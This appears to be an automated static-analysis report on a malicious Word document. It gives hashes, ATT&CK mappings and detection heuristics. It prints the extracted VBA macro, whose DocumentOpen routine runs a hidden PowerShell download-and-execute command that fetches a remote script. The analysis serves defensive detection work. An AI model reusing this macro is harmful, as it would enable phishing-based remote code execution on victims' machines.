Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8776e479275019d4…

MALICIOUS

Office (OOXML)

18.0 KB Created: 2021-09-22 09:24:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-01
MD5: ced20e852f2265f2035c7da7bc09a539 SHA-1: f57d4e2f4fad5edb9c831828753d8a1bc4d90fae SHA-256: 8776e479275019d44b300e8a7c89f78444c5c79f10fa7d9a09d62a110cf5a2b1
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that are triggered upon opening the document. The `DocumentOpen` subroutine constructs and executes a PowerShell command using `Shell()`. This command downloads content from the URL 'http://10.0.10.101/shell.txt' and executes it, indicating a downloader or dropper functionality. The presence of obfuscated shell commands and PowerShell references strongly suggests malicious intent.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.0.10.101/shell.txt Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Related samples 5

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 965 bytes
SHA-256: 7d7b00901fc30904da4e3cf82d1956ef39043bd6483d3c40474761235043a8fc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function en(text)
    Dim n
    Dim i
    
    n = 13
    For i = 1 To Len(text)
        AB = Mid(text, i, 2)
        CD = Asc(AB) + n
        EF = Chr(CD)
        Mid(text, i, 2) = EF
    Next i
    en = text
End Function
Public Function de(text As String)
    Dim n
    Dim i
    n = 15
    For i = 1 To Len(text)
        AB = Mid(text, i, 2)
        CD = Asc(AB) - n
        EF = Chr(CD)
        Mid(text, i, 2) = EF
    Next i
    de = text
End Function

Sub DocumentOpen()
 Dim str
 str = "powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://10.0.10.101/shell.txt'))"
 Shell str, vbHide
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 552087425a861525a2e25b6d43379c0f7613806ea92b8d46699d8a2ead27d3fa

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